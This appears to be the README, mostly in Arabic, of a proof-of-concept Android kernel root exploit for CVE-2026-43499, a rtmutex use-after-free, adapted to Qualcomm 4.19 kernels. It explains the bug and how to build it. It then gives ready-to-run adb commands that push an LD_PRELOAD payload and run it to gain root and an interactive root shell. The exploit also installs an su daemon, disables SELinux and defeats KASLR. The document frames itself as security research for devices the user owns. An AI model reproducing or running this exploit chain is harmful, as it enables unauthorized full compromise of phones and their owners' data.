
CVE-2026-43499 (GhostLock) هو PoC من نوع UAF لجذر محلي (local-root) في rtmutex remove_waiter()، مُكيَّف لأنوية Qualcomm Android 4.19 (فئة Redmi K40 / Snapdragon 870)، وقائم على LD_PRELOAD
ارتقاء صلاحيات محلي يستغل CVE-2026-43499 — خلل في remove_waiter() الخاص بـ rtmutex يترك struct rt_mutex_waiter معلّقًا على
مكدس النواة الخاص بالمُنتظِر (kernel/locking/rtmutex.c, CWE-416 use-after-free).
معدّل من
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) لعائلة نواة Qualcomm Android 4.19.x
الخاصة بالمورّد.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() عند التراجع عن قفل الوكيل يستدعي remove_waiter() الذي
يعمل على current بدلًا من waiter->task — إزالة من شجرة rb دون pi_lock، مع pi_blocked_on معلّق،
مما يؤدي إلى UAF على مكدس النواة. الإصدارات المتأثرة حتى 5.10/5.15/6.1/6.6/6.12/6.18/7.0 تم إصلاحها؛
4.19 لا يوجد لها backport (EOL)، لذا 4.19.157-perf متأثر.src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file في فتحتي .read/.write
من fops (تواقيع 4.19)، وتستخدم بدائية القراءة تخطيط المخزن الوهمي المبسّط
count/page/ppos=0/dev/ashmem) غير موجودة في هذه النواة — طول البادئة 0selinux_blob_sizes غير موجود في 4.19 → الوصول المباشر cred->security
(SELINUX_CRED_BLOB_OFF=0)؛ struct seccomp لا يحتوي على filter_countASHMEM_MISC_FOPS = فتحة miscdevice.fops (ashmem_misc + 0x10)لينكس / WSL مع Android NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
المخرجات: prebuilt/preload.so (حمولة LD_PRELOAD) و PIE مدمج su_daemon.
يتطلب قشرة ADB (يكفي adb shell عادي وغير مميَّز — فالثغرة تعمل بالكامل دون امتيازات وترفع صلاحياتها بنفسها).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
صيغ سطر واحد اختيارية:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
كل سطر pr_* يُنسخ إلى القرص مع write()+fsync() فوري بحيث يبقى الأثر بعد تعطل النواة/إعادة التشغيل:
/sdcard/Download/log_<timestamp>.txt
مسارات احتياطية إذا كان /sdcard غير متاح: /sdcard/Downloads،
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
علامات السجل الأساسية:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — تم تحميل الحمولةslide-kaslr-ok ... base=... — تم استعادة أساس KASLRpipe-physrw-summary ... root=1 ... — تم تثبيت القراءة/الكتابة الفيزيائيةuid_before=... uid_after=0 ... selinux=1->0 — تم تصحيح بيانات الاعتمادUNVERIFIED قبل محاولتها الأولى — هذه المرحلة هي التي تُضبط لكل جهاز باستخدام هذا السجل.target.h وتسجيلها كـ UNVERIFIED وقت التشغيل. كرّر الضبط على الجهاز باستخدام سجل fsync.CONFIG_STATIC_USERMODEHELPER=y في هذا البناء يعطّل حيل مسار modprobe؛ المسار الأساسي هو تصحيح cred المباشر./proc/kallsyms) و /proc/slabinfo قبل النشر.Apache-2.0 (المصدر الأصلي: NebuSec/CyberMeowfia). لأغراض البحث الأمني وتجذير الأجهزة المصرّح بها فقط. استخدمه على أجهزة تملكها.